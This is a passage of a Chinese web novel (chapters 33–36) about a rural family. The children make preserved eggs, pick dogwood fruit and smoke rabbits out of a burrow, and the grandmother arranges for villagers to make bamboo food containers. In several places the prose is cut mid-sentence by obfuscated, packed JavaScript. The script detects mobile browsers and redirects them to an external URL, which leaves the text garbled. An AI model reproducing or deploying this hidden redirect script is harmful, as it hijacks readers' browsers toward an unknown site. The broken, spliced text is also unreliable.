刚才还在围着他爹打转,问给牛搭窝的时候能不能给大黄也做一个的林智,一听见他姐要做好吃的,马上把这件事抛之脑后,屁颠屁颠地跑过来。 跟在后面尾巴一下子就耷拉下来的大黄:“……” “阿姐,我来帮你。”林智献殷勤道,想着做出好吃的说不定自己可以第一个尝尝呢。 林知提着篮子,假装没有看见他脸上过于明显的目的,回头对他说:“行吧,正好我缺一些帮手。” 她指挥林智去把家里剩下的鸭蛋给拿出来,反正都要做,不如一次性多做一点还少些麻烦。 她趁这个功夫找一个家里最旧的盆,就拿着小板凳坐在院子里准备材料。 “二哥,你去给我装点河边的黄泥呗。”她朝林义喊道。 “行。”反正也没事,林义刚才还坐着呢,听见林知叫他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“才不是呢,热豆腐要快点才能抢到,每次一上桌,我还没吃多少呢,就被二哥给抢光了……”林敏嘟着小嘴控诉道,还配上一副委屈的表情实在呆萌。 林义:“……” 林知:“……” 好有道理哦,无力反驳! 几个孩子见状,也来了兴趣,把手伸进大盆里,裹起鸭蛋来了,嘻嘻哈哈的样子显然欢乐得不行。 见好不容易有了光明正大玩泥巴的机会,林智和林敏开始捣蛋,不仅双手糊得脏兮兮,连脸上衣服上都弄上了。 一旁默默看着的俞珩下意识离他们远一点,连林义也是一副嫌弃的样子,可惜也没能避免被泥巴糊上的命运。 最后三十个鸭蛋做完了,一群孩子也变成了泥猴子,林智跟林敏对视了一眼,看见大家都是脏兮兮的样子,忍不住哈哈大笑起来。 正从后院过来的钱氏看见一群泥猴子差点没气得厥过去,她抄了扫把上前两步:“这么大的人了,还玩泥巴……” 她骂骂咧咧的,虽然扫把扫在他们身上,但是也并没有用多少力,几个孩子还爬起来,边跑边“嗷嗷”的叫。 林知早就躲得老远了,看着大家鸡飞狗跳的还有不忘回头向钱氏解释几句的功夫,那应该问题不大。 她笑眯眯地和俞珩站在一边,童年嘛,没有挨过打都是不完整的。 33. 第33章 俞珩侧头看着她,心里憋着笑,怀疑刚才她是故意没有提醒大家的。 林知也偏过头来看他,高过半个头的少女头发简单扎起来,没有再穿那套刚来的时候的衣服,而是简单的蓝布衣裳,“阿俞姐姐,你笑起来真好看。” 俞珩被她这声姐姐给叫懵了一瞬间,随即反应过来,“你……你笑起来也很好看。” 林知没有应,而是若有所思地问,“阿俞姐姐会想家吗?” 俞珩垂下眸子,轻声道,“想,很想我阿娘。” 林知没有打断他的情绪,只是目不转睛的看着他。 【宿主,我看她不像是假的,你也别太多想了吧。】系统懒洋洋地说。 唉,微叹口气,林知才移开视线,耸耸肩,“我知道了,以后不会啦。” “大伯母,我们是在做好吃的,阿奶都同意了!”林知见“斗争”进入了白热化阶段,及时扯着嗓子吼道。 一听见林阿奶放话了,钱氏也把扫把甩到了一边,孩子嘛,给点教训就行了,又不是真的要打他们。她很嫌弃的看了一眼木桶里的东西,烦躁地挥手道:“去去去,大丫,赶紧去灶上把热水打出来洗脸洗手,大冷的天还和稀泥!” 马氏听到声音也出来,忍不住念叨道:“烧水多麻烦,这得费多少木柴,明天你们上山捡柴去吧。” 又道:“你们就这么两身衣服,之前的还没干透呢……” 一群熊孩子…… 罗氏听见院子里的热闹也出来了,她看见院子里的鸡飞狗跳和孩子们身上的泥巴,心下了然。 于是回头打上一大盆热水,无奈地笑着:“先过来把手脸洗干净了,马上要吃晚食了,要是被你们阿奶给瞧见……” 林义、林慧和林礼一听见阿奶的名称,顿时皮一紧。 但林智和林敏几个小的却完全不能领会大人们的忧虑,此时正嘻嘻哈哈地排队去洗手。 厨房里飘出了肉的香味,因为家里孩子多,又是在长身体,林家最近老是买一些筒骨回来炖汤,虽然没有多少肉,但是也比菜汤好喝。 钱氏先给林阿爷和林阿奶盛了一碗汤,汤里还有一些骨头上剃下来的肉渣,然后给了几个孩子。 大人们开始动筷后也并没有动肉,而是夹着里面的菜蔬和着肉汤吃,也吃得津津有味。 最后的肉自然是全进了孩子们的肚子里,吃完饭还心满意足的自觉帮着收拾碗筷,回味了一下这个味道。 天还没有黑,大人们干完家里的活儿又开始商量明天摆摊或者磨豆腐的事儿。他们有了几次的经验,干起这些事儿来更得心应手了。 林仁则带着几个弟弟妹妹们去练字和复习白天学习过的功课。 他们现在学的还很少,不过是能写自己的名字和附近常见的村地名啥的,还有《千字文》的前面内容。 只见林仁拿着书,被抽查到的林义站在他面前低着头绞尽脑汁的想今天早上的内容:“我……大哥……我记不住了……” “只只,你来说。”林仁脑疼地撇过头,转头问林知。 不过是几个字和释义和几句话,林知一点不停顿流利的背出来。 “哇,阿姐好厉害!”林智在旁边拍手叫好。 林仁也点点头:“嗯,不错。林义你得跟只只好好学学,人家还比你小呢。” 林知不好意思地笑了笑,林义也羞愧难当地把头埋得更低了。 几人温习过书后,又开始来着笔练字。还没有把握的,就拿着竹笔在沙盘上多谢几遍,写得差不多了就在黄纸上写。 他们上次在县城又买了笔墨纸砚,可能是花费越贵,知晓这些来之不易,他们练字格外认真,一笔一划端端正正,角落、背面也会写满。 正因为这样,林家孩子的字进步很快,不再是像刚开始那样软趴趴的像虫爬了。 不过在林知眼里还是很丑,因为她认为进步快源于写得太差,进步空间大而已。 屋外的风吹得树木沙沙作响,屋里的孩子认真的练着字。 路过的大人都蹑手蹑脚地走过去,尽量不发出声音打扰到他们,但是干活儿的时候脸上不由带上些笑容。 等天黑得大家看不太清楚了,林知就丢了笔,大家一起玩起游戏来。 过了一会儿,林知像想起什么似的,抬起头来对林慧说:“阿姐,我们家的茱萸是不是快要没有了啊?” “啊?好像是。”林慧突然被问道,有些局促地回答说。 这几天他们生意还是不错的,这些事林慧能够做得更好,所以大多数都是她和罗氏做的,林知还真不清楚。 今天突然问起来,主要是她想出去放风了!家里实在太无聊,而且她也想去碰碰运气能不能完成几个任务。 “那我们明天上山去采吧!”林知语气雀跃地说。 离小周山不远处还有一处荒山,他们以往年采的野生茱萸就是在那里。 只不过现在的人很少会用,一般都是拿来晾干后用来炖肉,炖鱼,茱萸能把肉跟鱼中的腥味祛除掉,吃起来更香,不腻人。 其实茱萸的作用还有好多好多,果子还能酿酒,还能泡水。 可惜贫寒之家吃荤腥的时候少,对茱萸的需求量就更小了。 林知在心里盘算着,茱萸的花期在夏季,每年的六月到八月月,花朵开败后就长出了果实,每年的九、十月是上山摘茱萸的最佳时期,现在应该还有不少。 “这……刚采回来的茱萸也不能用啊,还要晒干。其实我觉得可以直接买啊!”林义有些不赞同,他嫌麻烦懒得上山。 林慧倒是觉得这是一个好主意,她首先表示赞同:“二哥,买的哪里有自己家的好啊?我们自己家做,这样能省不少钱呢!” “对啊对啊……”其他人在林知的眼神“胁迫”之下,忙不迭地点头。其实他们也想出去玩,反正哪玩儿不是一样的,家里的活儿也不多。 “阿俞,你明天跟我们一起去吧!”林知偏头看向坐在后面一语不发安静看书,却半天也没有翻动一页的少女,邀请道。 俞珩来林家也不少时间了,但是为了不引来太多麻烦,他几乎是待在屋里,最多也是在院子里转一转。 好在林家比较偏远,因为林阿奶的原因,村里人也不会贸然找上来干什么。所以村里人除了老大夫一家,还真没有什么人发现俞珩这个人。 林知想着万一人家太无聊了,正好他们可以一起去后山转一转,反正也不会遇上什么人,就算有人,也可以随便找个借口搪塞过去。 俞珩手微微一顿,正要张口拒接,可是看见大家热情和期待的目光,最后思虑过后,还是点头答应了下来。 大家不由露出笑容来。 第二天早上,想着要去山上摘茱萸,他们飞快地把家里的活干了,知会大人们一声就要背着背篓跑了。 “大丫,记得去河边把衣服洗了啊!”端着一盆衣服出门的钱氏招呼道。 正要和大家一起溜出门的林慧看着其他人都要跑远了,急得泪珠子直打转,也不敢反驳她娘。偏偏这时候林知折返回来,拉起她的手就跑,“大伯母,阿姐要跟我们一起去山上摘茱萸啊!” “哎,”钱氏只来得及喊一声,林知就把林慧拽着跑远了。钱氏无奈,只能自己去。 她被林知拉着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128418|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路往前跑,两人如风一般,掠过炊烟土屋,田埂人家,一路追着前面的人而去。 风“呼呼”的在耳边刮过,林慧从来没有像这一刻这么轻松过。 等两人停下来了,林慧还弯腰把手撑在膝盖上,她大口喘气,脸也憋得绯红。但是她的眼睛却是亮晶晶的。 “快点啦,就等你们两个啦!”林义回过头来大声招手。 前面站着等的人回头看她们。 “来喽……”林知拉着林慧快步跟上去。 阳光明媚,和风微凉。 一群人打算先爬到小周山,再绕路上旁边的荒山。 去小周山的路还好走,他们也是走习惯了的,一边闲话一边速度不减。 秋天已经没有什么好看的景致了,偶尔看见几朵小花,林知还把人家给拽下来用几根野草编成花环戴在头上。 林义和林礼几个男孩子则是用木棍敲敲打打路边的草丛,亦或是抬头打量树上的鸟窝。 林仁要照顾几个弟弟妹妹,看他们四处乱跑,简直手忙脚乱。 “啧,你们也不怕碰上蛇啊?”林知有些地嫌弃看他们到处摸索。 一听见蛇,林敏朝林知看去。 “唔,蛇肉好吃啊……”她牵着林慧的手,嘴里咬着手指,似乎在滋溜着口水。一听见林敏啥都想吃,林知又想到光不溜秋,滑不拉几的蛇,她就打了个抖。 林慧笑着点了点林敏的头,这幅小吃货的模样也不知道了像了谁。 指定是前段时间林虎叔家的逮到一条蛇,吃过晚食后,他们家的孩子跑出来炫耀蛇肉好吃,哪知被林敏他们听了去。 吃也没吃过,就记得当时别人家小孩儿炫耀好吃的话。 这边的插曲还没过,那边又传来一声声惊呼声。 林义他们紧盯着一旁不挺抖动的草丛,手中捏紧了棍子,做好了只要什么东西钻出来就打上去的准备。 林慧和林敏站得远远的,大气也不敢出,不会被林知说中了,真的有蛇吧。 一阵动静后,林智瞪大眼睛看着钻出来的大黄,激动地跑上去一把搂住它,“原来是大黄啊,你怎么跑来了?” 大黄欢快地冲他们摇着尾巴。 一看是大黄,大家虚惊一场,心有戚戚地继续往前走,虽然这是外山,他们还真怕像林知那样遇上一只老虎呢。 大黄:……呜,难道我不算嘛? 爬到小周山的顶,往右走有一个小山顶。往左走先是一片树林子,过去爬一个陡坡,上去也是一个山巅。 林子密密麻麻的,高大的枝丫遮住阳光,底下不见一根杂草。 一时间,安静得只有大家的脚步声。 走在最前面的林义摸了摸自己满是鸡皮疙瘩的胳膊,打破大家的安静,“这儿还挺阴森森的哈。”半晌没有听见有人回他,他有些僵硬地扭过脖子回头去看,“……你们怎么都不说话啊?” 哪知后面一群人,听见林义已经都打颤的声音,直接有默契地哄堂大笑,还一边你追我赶地往前跑。 “你们耍我!”林义忍不住在原地跺脚,气急败坏地追上去。 一群人“哇啦哇啦”地跑远。 出了林子,爬上小山坡,眼前豁然开朗。 晚秋底澄清的天,像一望无际的平静的碧海。 林知“哇”地一声,她低头向远方看去。 这里视野开阔,可以清晰的看见村落坐落在大山的臂弯中,一条河流如同白练铺在地上。倒映着点点波光的湖泊中,片片的芦苇时时摇曳着丰满的穗头,好似波动着的红水。 “这里风景可真好啊!”一群人不由感慨。 34. 第34章 “啊——”林知将双手呈喇叭状放在嘴边大声朝山下吼道。 长长的拖曳声随风而逝。 她这一举动直接把周围人吓了一跳。林知眼睛亮晶晶地对他们解释道:“这样声音可以变得很大,你们试试。吼完以后感觉整个人都轻松了不少。” 林智听了他姐的话也学着样子大声朝山下吼,“哇——啊” 尾音长长的在山谷传来回声。 其他人也有模学样,纷纷效仿。 林知歪着脑袋朝俞珩使眼色,看他没有动作的样子,鼓励着他。 俞珩来了林家这么久,总是怏怏不乐的样子。 她担心对方心里一直纠结家里的事,其实她也是怀有最近一直怀疑对方的歉意的,既然没有问题,她也不好对不到十岁的小孩儿太苛刻。 她走过去,拍了拍俞珩的肩膀,“我看你最近一直心有忧虑的样子,就想着带你出来放松一下。一直消沉下去,这是亲者痛,仇者恨的事儿,我们应该往前看,对吧?” 俞珩愣愣看着还不到他耳朵高的女孩儿一脸正经的样子劝解他要往前看。 难道自己的情绪这么明显嘛?他思虑片刻,轻轻地捏了捏自己的手指,转头微微笑道,“我知道了,多谢你。” 见林知一副放心了的模样转过去了。俞珩深吸了一口气,也学着林知先前的样子放声大叫。“啊——”他把手放在嘴边,像是要把所以的情绪全吼出来。 船到桥头自然直,俞珩想着现在自己什么也做不了,也许照顾好自己才能让爹娘更安心。 好像心里的郁闷全都被吼出来了,俞珩终于脸上多了些笑容。 “走喽,继续前进!”林知了却一件心事,招呼着大家。 他们所在的山头和对面荒山之间有一个几乎平等的鞍部相接,两侧的坡度很大,也长满了高高的树。之所以叫荒山,一眼就可以看出原因,不同于这边山的茂林,对面只有一些低矮的杂树,最多的还是一些草。 干的茅草也能烧火,但是可以捡的柴少,所以人们也很少去那边浪费时间了。 可以远远看见山茱萸红果满树,绯红欲滴,串串山茱萸如红玛瑙挂在枝头,张扬热情,充满蓬勃生气。 “哇——”大家刚从远处看还不明显,直到走到近处,才有深深的震撼。 林知伸手揪下一颗放进嘴里尝了尝,茱萸有两种,“吴茱萸”和“山茱萸”,山茱萸吃的比较多,味道中和平淡不是很辣,吴茱萸吃的少,味道辣得发苦。 她拍了拍手,这种应该就是山茱萸了,看来他们运气不错。 茱萸花开时黄金灿灿,团团簇簇。结果时果子绯红欲滴,艳丽夺目。可谓春华似鎏金,秋实似玛瑙,一年四季,芳华各异。 “就是这个吧,快摘吧。”林仁放下背上的背篓,招呼着大家。 众人纷纷上手开始摘。 林智和林敏两个矮的都快挂在树枝上了,两人嘿呲嘿哧地一手揪一把,看也不看就往背篓里扔。 褐枝绿叶间还挂着红圆如豆的茱萸果,趣味十足。 林慧无奈地把他们拉远了一些,“你们这样无论好坏都摘了,连叶子也揪下来了。等会儿回去背篓里装的不是果子而是叶子了,而且到时候还要花时间把坏的挑出来。” 林智调皮地吐吐舌,“知道啦,大姐,我们不会了。” 林敏悄悄地把手上随便扯下来的一把东西扔在身后地上,眼神飘忽的假装自己什么也没有干。 年龄大一些的林仁很是认真的干活儿,不一会儿另一个背篓就被铺满底了。眼敲着这边的动静,好笑的说:“没事儿,费不了多少功夫,他们年纪还小,自己去玩吧……” 果然,林知他们摘得正起劲儿的时候,林智两个小人儿眼珠子一转,屁颠屁颠地就玩儿去了。 他们年纪还小,干事儿没有多大定性,无非就是这里扯点花花草草或是蹲下来看蚂蚁和虫。 林知虽然忙着摘果子,但是一些心神还是注意着这边,以免他们摔倒发生意外什么的。 两刻钟过去了,就在大家都要收工了的时候,意外还真就发生。 一旁和林智他们一起玩闹的大黄突然发出“呜呜”的咕噜声,它还是幼崽,一般只有在遇到猎物的时候才会发出这种声音。 正带着林敏四处探索的林智猛然站起来,朝他们小声说道:“阿姐,是兔子!”她年纪小,也知道什么是打草惊蛇了。 刚才他们都看见一只灰毛兔跑过去,油光水滑的,看起来就很肥! “噗嗤……”林义看大家的目光果然都被吸引过去了,发出无情的嘲笑,“这野兔子最不好抓,早就跑没影儿了。” 他说这话是有原因的,作为村里的孩子王,他经常带着其他孩子们摸蛋抓鸟,对油光水滑的野兔子也打过主意。 只不过它们警惕心太高了,只要人远远一靠近,就溜到草丛里去了,根本找不到。 这秋天的兔子最肥了,正是长膘的时候,等到了冬天就瘦了。但是村里只有林虎一家是猎户是有原因的,不是谁都有这个本领的,也只有他们家才能吃到这些野味儿,而且也得费不少功夫才打的到。 大家回过神来,都泄了一口气,这荒山野岭的抓一只兔子还是太难了。 林知刚才才完成了系统的一个任务,就是要求新鲜茱萸的果叶,又有大笔积分入账,她此时正心情大好。 “老六,你有没有办法找到那只兔子?”林知在心里默默问。 既然上次系统能够提前预知到老虎,告知她危险,那么它一定有办法感知周围的环境。 兔子受了惊一定会钻回洞里,只要找到兔子在哪里,到时候多的是办法把它们抓住。 系统默默流泪,完了,掉马了!它之前说要升级之后才有的扫描功能,可是遇到宿主有危险的时候又不能真的见死不救吧。 那还能咋办?宠着呗…… 【可以,不过范围只有十米。】这倒是真的了,要不然上次也不至于老虎都跑到面前了,它才提醒,【升级之后,我扫描的范围会更大,如果再遇到上次那种情况,宿主就可以在老虎出现很早之前就跑了,不用这么危险。】 “嗯嗯……”林知敷衍的回复它,如果自己有能力的话,她还是不介意给系统升级的,只不过眼下逮兔子的事情更重要。 “我有办法,既然兔子在附近出现,那肯定这里有兔子窝,灌木丛这么少,我们找一找,说不定瞎猫碰上死耗子呢?”林知提议。 俞珩先是看了一眼茂密的已经快有人小腿一般高的杂草,一边侧目奇怪林知一副胸有成竹的样子。 “反正也快摘完了,我们试试嘛!”林智是真的想抓兔子,他一副跃跃欲试的样子看着几个哥哥。 林仁无奈扶额,就放任他们去了。 秋、冬季节,百草凋零,野兔的匿伏处往往是一丛草、一片土疙瘩,用前爪挖成浅浅的□□藏身。 但是这片区域草还挺多的,林知一边拿着一根木枝打草,一边让系统扫描附近有没有兔子洞。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133624|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >剩下一群人看见林知这打草惊蛇的架势皆是目瞪口呆。 林义还以为她真有什么好办法呢,他觉得林知太不靠谱了,看起来就是随便敲敲打打,他嘴一撇无语道:“与其这样,我还不如直接守株待兔呢?” 【宿主,在你的一点钟方向,十米处有一个兔子窝!】系统及时提醒道。 林知脚步一顿,立马轻手轻脚地换了一个方向,抬眼去看,这里是一个脊背比地平稍高,兔子可以凭保护色的作用而隐形,受惊逃走或觅食离去。 “还有别的出口吗?”为了保险,林知还是谨慎的多问了一句。 【有,九点钟方向离得不远。】随着林知靠得越近,系统对这一片的地形掌握得更多。 正在大家疑惑林知为什么突然换了一个方向的时候,就听见她说:“找到了,这里有一个兔子窝。” 林义一瞪眼,还真给她找到了啊。 一群人迅速地放下东西,朝那个方向围过去。 林知一边指挥林义几人把这个洞给堵住,准备用烟熏的办法把兔子从另一个口逼出来,一边速度不减地朝另一个洞口走去。 别说,因为林义经常跟着村里的孩子在外面野,他身上还是带着火折子这种东西。 “你们用烟熏洞口,我们在另一边堵住。”林知把点火的任务交给林义,让林仁和林礼在这边逮兔子,洞里有好几只呢,人多才抓得完。 秋天渐渐天冷,所以林仁他们还是穿了几件衣服,此时他们直接把外套给脱下来做兜,好堵兔子。 一旁的林知暗暗咂舌,大家可真拼啊,万一衣服被折腾破了,回去肯定被骂。不过她并没有出声提醒,就是说了,大家还是会这么干,因为他们没有其他可以用的东西了。 林义和林慧俞珩他们已经在那边生起火了,几人还在一边用大叶子把浓烟往洞里扇。 这是一个漫长的过程,要足够多的烟才能把兔子逼出来。 时间慢慢流逝,林义都要怀疑这个洞里到底有没有兔子了。 “来了!”林知出声提醒道,还没等林仁他们问什么她会知道,洞口就跑出来一群灰兔子,直接大力扑进几人怀里。 生怕挣脱了,林知死死抱住一只大兔子,两只小手去逮它的耳朵。 林仁和林礼也各抓一只大兔子,剩下几只小的却在几人慌乱之中趁乱跑掉了。倒是站在不远处的林智和林敏噢噢大叫起来,那几只兔子就从他们脚边逃脱。 他们一边去追、一边大声吼叫着“噢……,噢……” 突然,只见前面有一个东西跃起像箭一样朝前飞奔,两个孩子的叫声嘎然而止,不一会儿就见那小东西一头撞到大黄,而大黄冲上去一口咬住。 林智扑上前去把它按住,然后逮起来大叫:“我也抓到啦!” 一旁在给他们助威呐喊的林敏也机智地帮林智抓住不断扑腾的兔子,一边好奇伸手去摸兔子。 “软软的耶。”她笑眯眯地说。 “大黄,好样儿的!”林智还不忘回头夸赞大黄。 大黄得意地仰头摇尾。 一群人汇总,发现大家都是喜开颜笑。林义举起手里的肥兔子笑得不见牙齿,炫耀道:“看吧,我说守株待兔还真的可以!” 不知道这只肥兔子怎么回事,竟然跑错了方向,直接被林义、林慧和俞珩三个人围堵了。 林知仔细一看,他们竟然抓住了四只大兔子,油光水滑的最大一只也得六七斤吧。 还有林智怀里抱着的一只小兔子。 35. 第35章 几个人扯了路边的干草和湿草混着把兔子给绑起来,也不顾着背篓摘没有摘满茱萸了,就收拾收拾准备下山了。 “这次多亏了只只,要不是你发现了兔子洞口,我们还真抓不住这么多兔子。”林仁摸了摸林知的脑袋夸道。 “嘿嘿……”要不是有系统她也没办法的,林知笑了笑,没有过多解释。 “太好啦,我们有兔子肉可以吃了。”林智宝贝地摸着怀里的兔子,完全不顾其瑟瑟发抖的模样。 刚才他一副任谁说也舍不得松手交出怀里的兔子的样子,大家还以为他会养着小兔子呢。 原来是想着吃啊! “行行行,回去就吃兔子!”大家笑哈哈的样子都很开心,他们此刻的想法都很一致。 下山的路可比上山快多了,而且为了抄近路回家,一群人还沿着山路走,直接绕后山回家,也正好没有遇见村里人。 最后林仁和林义脚快,直接钻进院子里,迎面碰上了钱氏。 钱氏瞪眼看见他们外套脏兮兮一身草屑的模样,开口就责骂:“哎哟,上趟山这是掉进沟里去了,这么冷的天,衣服不难洗啊?一天天的……” 随后的林三郎则是眼尖看见几个孩子手上的野兔子,他张目膛舌地问:“兔子,你们哪儿来的?” 村里就林虎会打猎,总不会是人家给的吧?但是无缘无故也不会给野兔子啊,林三郎紧紧盯着林仁和林义把兔子给放到一个竹筐里,陷入了沉思。 今天换作林大郎和林三郎他们带着豆花和几板豆腐出门去卖了,家里就剩钱氏和林三郎、林阿爷和林阿奶。 钱氏才注意到地上的竹筐里用草绳拴着两只灰皮野兔,肥乎乎圆滚滚,油光水滑。 林仁和林义放好兔子,甩甩手,又把背上的背篓取下来,“阿娘,这是我们在山上抓的。” 钱氏震惊了一下,把一只五花大绑的兔子从竹筐里拎出来,掂了掂,发现还挺重,她忍不住问道:“嘿,怎么抓到的?你们还挺能干的啊!” 林三郎仔细地看了看钱氏手中的这只灰毛兔,忍不住嘀咕:“现在末秋了,这野兔子城里人最喜欢了,得十几文一斤吧……” 剩下一群人才进院子就听见这话。 林智和林敏瞪大了眼,似乎看见兔肉正远离他们而去,他们俩想也不想,转头就和刚进院子的林知喊道::“阿姐,三叔要把兔子给卖了,你快劝劝他啊!” 林三郎就瞪了俩孩子一眼,他什么时候说过这话了? 林知还没顾得上放下手里的兔子,蹬蹬蹬的跑到林三郎面前,“三叔——这是我们专门抓回来的兔子,给大家尝尝兔子肉呢!” “我会烧兔子!”林知补充道。 林阿爷也慢悠悠地走出大门,孩子们也都眼巴巴的看着,他就道:“看时辰,老大他们也要回来了,今天晚一点吃饭,既然是孩子们打的兔子,那就等会儿做了吧!” 几个孩子欢呼雀跃,还是阿爷好。 被扣了一口大锅的林三郎:…… 听见这话的钱氏马上就拎了一只兔子去杀,林慧和林知连忙去帮忙,一个把灶上的热水烧开,一个则准备烧兔子的食材。林知三个在厨房忙活,林大郎几个也刚好回来了,现在他们的生意逐渐走上正轨,几桶豆花午时不到就能买完。 现在则在院子里和林阿爷和林阿奶汇报起今天的事情来。 豆花和豆腐卖了多少钱,买原材料用去了多少钱,剩下的就交给了林阿爷,林阿爷记好账后就递给林阿奶。 家里的钱一直是林阿奶管着的。 罗氏也进来帮忙,她和钱氏捉了两只野兔,手脚麻利地剥洗干净,家里人多,一只还不够吃呢。 剩下两只大的和一只小的先关在笼子里养着,以后再说。 林知预备做一道“麻辣酒香兔”。但是她人小,只能动动嘴皮子,旁边指挥一下,具体还是罗氏掌勺。 野兔斩成小块儿,放入滚水中焯去血水,搁进姜片去腥和少许盐入味,煮上一会儿,就可以捞起来用温水清洗干净。 一旁的林知早就把新鲜的茱萸剁成泥,与大酱混合搅拌在一起。 灶下生大火,锅里热油将兔肉倒进去一块儿翻炒,几十秒就可以把茱萸豆鼓酱、蒜片一并加入锅中。 这时候,往兔肉上再浇小半碗黄酒,浓烈的酒香扑面而来。最后撒上一把葱花,一份微辣鲜香的麻辣兔丁就做好了! 堂屋里,钱氏他们已经摆好碗筷和饭菜了,刚才已经做好了,就等林大郎他们回来吃饭,现在不过是多添一个菜的功夫。 林家饭桌上最常见的两道菜就是豆腐和筒骨汤,偶尔在豆腐里炖点肉沫,沾点荤腥,就这些也让他们百吃不腻。豆腐是自家做的,要不了多久成本,甚至有些是剩下买不完的,不过他们家生意还不错,这种情况很少。 家里赚了钱,伙食也变好了,至少比以前的青菜粗面馍馍要好。 他们家没有食而不语的规矩,一群人边吃饭边闲聊。大人间无非就是家里的生意,地里的活计这些话题。 而林义和林智他们则手舞足蹈,活灵活现的将他们如何抓到几只兔子的“伟大”事迹叙述给大家听。 当然说话也不耽误他们吃东西,尖尖两盆的兔肉在大家的猛烈进攻下很快削了顶。 兔肉肉质鲜嫩不柴,即使是干炒出来,吃着都满满的全是干香味,加上新鲜茱萸,有些微辣,满口生香。 饭桌上一片欢乐。 吃过午饭,林二郎在院子里又做起了木工活儿,林义和林智他们围在旁边瞪大眼睛,不时发出一声声惊呼。 原来是林二郎上次答应给林智做木剑,他之前已经做了个大概,现在再打磨一下就完成了。 将竹子锯成想要做的木剑的长度,对小孩子来说,长剑三尺就足够了。 哪知林义看见后也心馋不已,也央着他二叔给做一个。 林二郎就想着顺便给林礼也做一把,好在询问其他人过后,大家都表示没有兴趣给拒绝了。 将圆圆的竹子从头处开始用柴刀往下劈,劈出的竹子的宽度即为剑身宽度,一节竹子大概能切出剑身两个左右。 剑的手柄处也可以进行特殊加工,林二郎按照林智、林义和林礼他们的想法给刻上了花纹,并不繁复。 将大致削好的木剑用砂纸打磨,一把简单的木剑就做好了。 得到“宝剑”的几人嘻嘻哈哈的在院子里比划了起来。 “去去去,别闹你们二叔了,他还要干正事儿呢!”林大郎没好气地把他们撵走。 原来林家这几天生意好,所以有很多人不方便来铺子上吃或者带食盒来装的,想要问店家能不能打包带走。 这个时候多用油纸或者植物叶子打包,比如用芦苇叶、箬叶包粽子,荷叶包糯米鸡,芭蕉叶包青团子,箬叶包茶等。如果要装带汤水的食物就多用竹筒这类成本低的东西打包了。 当然并不是砍下来的竹子就能用的,还需要一大堆的工序才能做好一个适用的竹筒。 要选择硬度适中的竹子,要注意竹筒的大小、形状及粗细等因素,以便后续作业。 内部和外部都要进行处理,免得锋利的地方割到人,需得细细打磨。先用锉刀,再用砂纸。还要反复清洗,以免碎屑渣滓混在食物里。 林知看着他们在院子里干活儿, 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林知含糊道:“这些都是我自己瞎琢磨出来的。” 林大郎回头看了看蹲在树下还在玩泥巴的林义几人,他突然觉得自己有点心痛。 被莫名其妙瞪了一眼的林义二丈和尚摸不着头脑。他抬头看了看天,中午太阳那么大,当然是在屋里玩游戏和睡觉啦。 刚才埋头苦干的人也顿时停下动作,真的考虑起林知的话来,他们好像被这个道理给说服了。 “那我们直接去城里的铺子买吗?”林三郎试探性地问出这话。 “买啥买?村里这么多人,直接告诉他们,我们家要竹筒当食盒,用钱买的。他们马上就能做出一堆来,又便宜又好用……”林阿奶觉得这个主意很好。 林知都忍不住给她阿奶竖起大拇指点个赞了,这不就是现代人的“外包”吗? 村里没有一家没有种很多竹子的,而且竹子长得很快,根本用不完。 “大家一天天都忙坏了,早上就得出去卖豆腐做生意,下午回来又得磨豆浆点豆腐豆花,就是牛也得歇一下。你们今天就别做这些东西了,我去村里找人商量。”林阿奶说做就做。 于是林阿奶就顺着自家门前的路往下去串门。她对村里的情况很是了解,当然要选一些她觉得老实信得过,而且家里人比较多的人家。 青天白日的,一般乡下人家都不会关大门,林阿奶直接就站在大门口问里面的人,“大柱家的,我找你有点事!” 听见门口林阿奶的声音,一个穿着灰布衣裳的女人走了出来,看见是林阿奶,她笑着打招呼的:“原来是林二嫂子,进来坐,家里没啥事。” “不用了,我就不进去坐了,这儿还要找其他人说事儿了。”林阿奶拒绝了她的好意,一边说明了自己的来意。 大柱家的一听说原来是林阿奶家要一些竹筒,微笑着说:“就这些小事儿啊,我回头就让大福他们去山上砍些竹子来,做一些就好了,哪里还谈得上钱不钱的,二嫂子太客气了。” 林阿奶选他们家就是看中这一点,为人厚道老实。 她摆摆手:“不差你那点儿,我们说好了,这是生意上的事儿,长期合作。就这样说好了,一文钱五个,先一个月一百个吧,我们月结,你们可得给我尽心尽力啊!” 最后林阿奶半开玩笑地说。 大柱家的知道她是个爽朗的人,说定的事不再改变,再说什么的心思就作罢了,高兴的答应下来,表示一定会尽心尽责的。 转过头去,林阿奶又走了两家,才把事情给定下来。 36. 第36章 风日清和的天气,家里的小院儿一片热闹,林阿爷便坐在竹编的藤椅上晒太阳。 林智和林敏在一旁玩儿。把一段木头从手里向远处抛去,嗾使身边大黄把木头衔回来。如此反复,乐此不疲。 钱氏和罗氏趁着这个功夫,把新鲜的茱萸淘洗干净,晾晒在大圆簸箕里,搁在院子里的木架上。林慧一面追赶菜园地的鸡,拿了竹响篙唰唰地摇着,一面口中轻轻喝着,向屋后鸡舍赶去。 